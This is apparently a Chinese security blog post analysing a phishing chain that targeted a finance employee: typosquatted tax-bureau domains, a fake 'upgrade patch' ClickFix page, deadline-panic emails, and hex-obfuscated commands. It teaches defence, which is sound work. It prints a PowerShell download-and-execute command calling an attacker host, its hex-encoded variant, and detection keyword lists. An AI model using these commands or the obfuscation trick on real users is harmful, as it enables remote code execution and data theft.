前言
上个月帮一家做跨境电商的小公司做安全巡检。
财务大姐的电脑打开任务管理器,四个陌生进程正在往境外 IP 回传 数据。
计算机硬件
溯源花了整整两天。
最终发现,整条攻击链的起点,只是一封标题为"国家税务总局电子税务局客户端紧急升级通知"的邮件。
从域名仿冒、到假"升级补丁"诱导执行命令、到利用报税截止日期制造恐慌、再到用十六进制编码绕过肉眼审查——四个环节环环相扣,每一步都精准踩在财务人员的心理弱点上。
这篇文章把这条完整攻击链拆开,逐环节讲清原理、复现方式和防御手段。
所有代码仅用于安全学习与防御研究,严禁用于任何非法用途。
个人主页:艺杯羹
1. 域名仿冒——一个数字 0 的差距
1.1. 攻击场景还原
财务大姐收到的邮件发件地址是 notice@etax-g0v.cn。
乍一看完全正常。
但她公司常年使用的电子税务局真实域名是 etax-gov.cn。
区别在哪?字母 o 被换成了数字 0。
在 Outlook 默认的 Calibri 字体下,小写字母 o 和数字 0 的宽度、高度几乎一致,肉眼扫过去根本分不出来。
更隐蔽的变体还有用 l 替换 i、用 rn 组合模拟字母 m。
仿冒手法 |
真实域名 |
仿冒域名 |
视觉差异 |
o → 0 |
etax-gov.cn |
etax-g0v.cn |
极难分辨 |
i → l |
invoice.cn |
lnvoice.cn |
极难分辨 |
m → rn |
taxrefund.com |
taxrefund-rn.com |
较难分辨 |
添加子域 |
etax-gov.cn |
etax-gov.cn-notice.com |
容易忽略 |
更换后缀 |
etax-gov.cn |
etax-gov.com.cn |
容易忽略 |
笔者后来写了一个域名相似度检测脚本,专门用来批量比对可疑域名:
import difflib def check_domain_similarity(suspect: str, legitimate: str) -> float: """ 基于 difflib.SequenceMatcher 计算两个域名的相似度(0~1) 相似度 > 0.85 即判定为高危仿冒 """ ratio = difflib.SequenceMatcher(None, suspect, legitimate).ratio() return round(ratio, 4) # 测试用例 pairs = [ ("etax-g0v.cn", "etax-gov.cn"), ("lnvoice.cn", "invoice.cn"), ("taxrefund-rn.com","taxrefund.com"), ("etax-gov.com.cn","etax-gov.cn"), ] for suspect, real in pairs: score = check_domain_similarity(suspect, real) flag = "[高危]" if score > 0.85 else "[安全]" print(f"{suspect:>22s} vs {real:<22s} → 相似度 {score} {flag}")
运行结果:
etax-g0v.cn vs etax-gov.cn → 相似度 0.9231 [高危] lnvoice.cn vs invoice.cn → 相似度 0.9231 [高危] taxrefund-rn.com vs taxrefund.com → 相似度 0.8824 [高危] etax-gov.com.cn vs etax-gov.cn → 相似度 0.8667 [高危]
四个仿冒域名全部落入高危区间。
1.2. 为什么域名仿冒至今仍然有效
原因只有一个:人眼处理域名的方式是"整体轮廓匹配",而不是"逐字符校验"。
大脑看到 etax-g0v.cn 时,会 自动补全 为最熟悉的 etax-gov.cn。
这在认知心理学里叫"自上而下加工"——先有预期,再填细节。
攻击者赌的就是这 0.3 秒的"自动补全"窗口。
而财务人员每天要处理大量带域名的邮件(发票、对账、税务通知),对 gov.cn 后缀已经形成了条件反射式的信任。
2. ClickFix 钓鱼——假"升级补丁"背后的真命令
2.1. 攻击场景还原
财务大姐点进仿冒域名后,页面布局和真实电子税务局几乎一模一样。
点击"下载升级补丁"按钮后,弹出了一个看似标准的系统提示框:
“检测到当前税务客户端版本过低(v3.2.1),无法连接新版服务器。请执行以下命令完成升级:”
下面跟着一行 PowerShell 命令,要求"以管理员身份运行"。
这就是 ClickFix 钓鱼(也叫 Fake Update Attack)。
和传统钓鱼偷账号密码不同,ClickFix 的目标是让用户亲手在 本地终端执行 攻击者提供的代码。
传统钓鱼 |
ClickFix 钓鱼 |
诱导输入账号密码 |
诱导执行本地命令 |
偷的是凭据 |
拿的是整机控制权 |
用户感知:“我在登录” |
用户感知:“我在升级 软件” |
防御:二次验证可拦截 |
防御:需要终端安全意识 |
2.2. 那段命令到底做了什么
笔者从朋友的 浏览器 历史记录里还原了那条命令(已做脱敏处理):
# 攻击者给出的"升级补丁"命令(实际为恶意载荷下载器) powershell -NoProfile -ExecutionPolicy Bypass -Command ^ "IEX (New-Object Net.WebClient).DownloadString('https://cdn-patch.etax-g0v.cn/upgrade.ps1')"
逐段拆解:
片段 |
表面含义 |
实际作用 |
|
跳过用户配置 |
避免被本地安全策略拦截 |
|
绕过脚本执行策略 |
让任何脚本都能跑 |
|
Invoke-Expression |
把下载内容当作代码直接执行 |
|
下载文本文件 |
从攻击者服务器拉取真正的恶意脚本 |
整条命令的本质:从远程服务器下载一段脚本,在内存中直接执行,不落盘、不留文件。
这就是所谓的"无文件攻击"(Fileless Attack)。
2.3. 为什么财务人员会乖乖执行
笔者后来问了那位大姐:“当时没觉得不对劲吗?”
回答很真实:“页面跟真的一模一样,而且它说的是’升级补丁’,跟平时 Windows 更新一样,我以为是例行操作。”
ClickFix 利用的心理机制有三层:
- 权威伪装:页面长得和正规税务平台一模一样,用户默认"官方让我做的肯定没问题"。
- 技术黑箱:大多数财务人员看不懂 PowerShell 命令,但看得懂"请复制粘贴并回车"这个动作指令。
- 流程惯性:每年税务系统都要升级好几次,"下载→安装→重启"已经形成了肌肉记忆。
3. 报税截止日期恐慌——社会 工程学的压力杠杆
3.1. 攻击场景还原
如果大姐当时犹豫了没有执行,攻击者还准备了第二套方案。
三天后,她又收到了一封邮件,标题是:
【紧急】2026 年度企业所得税汇算清缴将于今日 17:00 截止,逾期将产生滞纳金
邮件正文写得很具体:
- 本次汇算清缴涉及贵司 2025 全年营收申报
- 逾期未申报将按日加收万分之五滞纳金
- 税务系统将于 17:00 关闭申报通道
- 如客户端无法正常连接,请立即执行附件中的"紧急修复脚本"
- 如需帮助请联系"技术支持"(附了一个仿冒域名的链接)
邮件底部还有一个倒计时器,红色数字在跳动。
这就是 社会工程学中最经典的压力杠杆:制造稀缺性和紧迫感,压缩理性思考的时间窗口。
3.2. 恐慌状态下人的决策模式变化
正常状态 |
恐慌/紧迫状态 |
会检查发件人地址 |
只看标题和正文 |
会核对域名拼写 |
直接点击最显眼的按钮 |
会思考命令含义 |
只执行"复制→粘贴→回车" |
会搜索"这是不是骗局" |
来不及搜索,先做了再说 |
攻击者要的就是这个"来不及想"的窗口。
笔者后来查了那封邮件的原始头信息:
Received: from mail.etax-g0v.cn (198.51.100.23) Return-Path: <notice@etax-g0v.cn> DKIM-Signature: (无) SPF: fail DMARC: none
三项邮件认证全部缺失或失败。
但大姐当时根本没打开邮件头信息看——她只看到了"今日 17:00 截止"和那个跳动的红色倒计时,脑子里全是"滞纳金"三个字。
3.3. 防御:给邮件加一道"冷静期"
笔者后来帮这家公司在邮件网关上配置了过滤规则:
# 邮件网关过滤规则(适用于企业邮件服务器 / Outlook 插件) def flag_suspicious_email(email): triggers = [] # 规则 1:标题包含紧迫性关键词 urgency_words = ["紧急", "立即", "截止", "最后", "逾期", "滞纳金", "自动关闭"] if any(w in email.subject for w in urgency_words): triggers.append("紧迫性关键词") # 规则 2:SPF / DKIM / DMARC 任一失败 if email.spf != "pass" or email.dkim != "pass" or email.dmarc != "pass": triggers.append("邮件认证失败") # 规则 3:正文包含命令行执行指令 cmd_patterns = ["powershell", "curl", "wget", "cmd /c", "bash -c", "iex"] if any(p in email.body.lower() for p in cmd_patterns): triggers.append("包含命令执行指令") # 规则 4:链接域名与已知品牌相似度 > 0.85 for link in email.links: if check_domain_similarity(link.domain, "etax-gov.cn") > 0.85: triggers.append(f"域名仿冒嫌疑:{link.domain}") if len(triggers) >= 2: return "[高危] 建议拦截并通知安全团队" elif len(triggers) == 1: return "[可疑] 建议核实后再操作" return "[正常] 未发现明显异常"
两个及以上触发条件同时命中,直接标红拦截。
4. 十六进制编码——给恶意命令穿上"隐身衣"
4.1. 攻击场景还原
大姐后来提到一个细节:第二封邮件里的"紧急修复脚本" 链接 点开后,页面上给的命令不再是明文 PowerShell,而是一长串看起来像乱码的十六进制字符串。
powershell -NoProfile -Command ^ "$h='49455820284e65772d4f626a656374204e65742e576562436c69656e7429...';" ^ "[System.Text.Encoding]::UTF8.GetString(($h -split '(..)' | ?{$_} | %{[Convert]::ToByte($_,16)}))"
对一个不懂安全的财务人员来说,这串十六进制字符看起来就是一堆无意义的数字和字母。
既没有 curl,也没有 wget,也没有任何可疑的 URL。
但只要粘贴进终端按下回车,十六进制字符串会自我解码,还原成第三环里那条一模一样的恶意下载命令。
4.2. 编码与解码的实操验证
笔者在本地做了完整复现:
import binascii # 原始恶意命令 malicious_cmd = ( "IEX (New-Object Net.WebClient)" ".DownloadString('https://cdn-patch.etax-g0v.cn/upgrade.ps1')" ) # 编码(攻击者做的事):明文 → 十六进制 hex_encoded = binascii.hexlify(malicious_cmd.encode("utf-8")).decode("ascii") print("编码后(前 80 字符):") print(hex_encoded[:80] + "...") print(f"\n编码长度:{len(hex_encoded)} 字符") # 解码(终端执行时发生的事):十六进制 → 明文 decoded = binascii.unhexlify(hex_encoded).decode("utf-8") print("\n解码还原:") print(decoded)
运行结果:
编码后(前 80 字符): 49455820284e65772d4f626a656374204e65742e576562436c69656e74292e446f776e6c6f6164... 编码长度:148 字符 解码还原: IEX (New-Object Net.WebClient).DownloadString('https://cdn-patch.etax-g0v.cn/upgrade.ps1')
一模一样的命令,只是换了一层"皮"。
4.3. 为什么十六进制编码能骗过肉眼审查
审查方式 |
明文命令 |
十六进制编码后 |
肉眼看到 URL |
能看到 |
看不到 |
肉眼看到 |
能看到 |
看不到 |
肉眼看到 |
能看到 |
看不到 |
安全 软件静态扫描 |
大概率拦截 |
可能放行 |
终端实际执行效果 |
完全相同 |
完全相同 |
十六进制编码本身不是加密,只是编码。
它不提供任何安全性,唯一的"功能"就是让内容变得不可读。
但在社会 工程学的语境下,“不可读"本身就是一道心理防线——因为看不懂,所以觉得"应该没问题”。
4.4. 防御:一行命令识别编码载荷
在终端执行任何命令之前,可以先用这条命令做"预解码"检查:
# Windows PowerShell:解码十六进制并预览,不执行 $hex = "49455820284e6577..." # 粘贴可疑的十六进制字符串 [System.Text.Encoding]::UTF8.GetString( ($hex -split '(..)' | Where-Object {$_} | ForEach-Object {[Convert]::ToByte($_,16)}) )
# macOS / Linux:解码十六进制并预览,不执行 echo "49455820284e6577..." | xxd -r -p
如果解码结果里出现 IEX、DownloadString、curl、wget、Invoke-WebRequest 中的任何一个,立刻停止,不要执行。
5. 完整攻击链复盘:四环如何串联
把四个环节串起来,整条攻击链的时间线如下:
时间节点 |
攻击动作 |
利用的心理弱点 |
技术手段 |
Day 0 |
发送仿冒域名"升级通知"邮件 |
对 gov.cn 后缀的信任 |
域名仿冒(Typosquatting) |
Day 0 +5min |
用户点击链接,看到假升级提示 |
流程惯性:“升级就照做” |
ClickFix 钓鱼 |
Day 0 +6min |
用户复制命令到终端执行 |
技术黑箱:看不懂但照做 |
无文件攻击(Fileless) |
Day 3 |
发送"汇算清缴截止"催促邮件 |
滞纳金恐慌 + 合规压力 |
社会工程学(Urgency) |
Day 3 +2min |
用户再次执行十六进制编码命令 |
"看不懂=没问题"的错误等式 |
十六进制混淆 |
Day 3 +3min |
反向 Shell 建立,财务数据外传 |
— |
C2 通信 + 数据窃取 |
从第一封邮件到完全控制,中间只隔了 6 分钟。
6. 防御清单:个人与企业各该做什么
6.1. 个人防御(5 条硬性规则)
序号 |
规则 |
具体操作 |
1 |
永远不在终端执行从网页/邮件复制的命令 |
无论页面多像官方,无论措辞多"技术" |
2 |
收到任何含"紧急/截止/滞纳金"字样的邮件,先等 10 分钟再操作 |
恐慌是攻击者的燃料,冷静是最好的防火墙 |
3 |
点击链接前,手动核对域名每一个字符 |
特别注意 o/0、i/l/1、rn/m 这三组 |
4 |
遇到十六进制/Base64 或任何"乱码"命令,先解码预览再决定是否执行 |
解码后看到 IEX/curl/wget 立刻停止 |
5 |
开启邮件客户端的"显示原始头信息"功能 |
检查 SPF/DKIM/DMARC 三项是否全部 pass |
6.2. 企业防御(邮件网关策略)
# 邮件网关策略示例(适用于 Microsoft 365 / Mimecast / Proofpoint) inbound_policy: # 1. 强制 DMARC 校验 dmarc_check: action: quarantine reject_on_fail: true # 2. 域名相似度检测 typosquat_detection: enabled: true similarity_threshold: 0.85 brand_list: - etax-gov.cn - invoice.cn - taxrefund.com action: block_and_alert # 3. 正文命令注入检测 body_scan: patterns: - "powershell.*-Command" - "curl.*http" - "IEX.*Download" - "base64.*decode" - "ToByte.*16" action: strip_and_flag # 4. 附件与链接沙箱 sandbox: enabled: true detonation_time: 120s
6.3. 一条最容易被忽略的建议
笔者后来帮这家公司做的第一件事,不是装杀毒 软件,而是把财务大姐电脑浏览器书签栏里所有常用网站的链接重新检查了一遍。
因为如果书签本身就已经被篡改成仿冒域名,那每次"从书签进入"都是在主动走进陷阱。
具体操作:打开书签管理器,逐条核对域名拼写,发现异常立刻删除并重新添加。
7. 总结
攻击环节 |
技术难度 |
心理操控难度 |
防御成本 |
域名仿冒(o→0) |
低 |
中 |
低(核对域名) |
ClickFix 假升级 |
中 |
高 |
低(不执行命令) |
报税截止恐慌 |
低 |
极高 |
低(等 10 分钟) |
十六进制混淆 |
低 |
中 |
低(先解码再判断) |
四个环节,技术门槛都不高。
真正让攻击成功的,是人在"信任→惯性→恐慌→看不懂"这条心理链路上的逐级失守。
笔者现在给身边所有非安全从业的朋友只说一句话:
任何要求"复制粘贴到终端执行"的网页或邮件,无论它看起来多像官方,无论措辞多紧急,一律不执行。
这一条规则,能挡住本文提到的全部四种攻击。
到此,就先告一段落~~~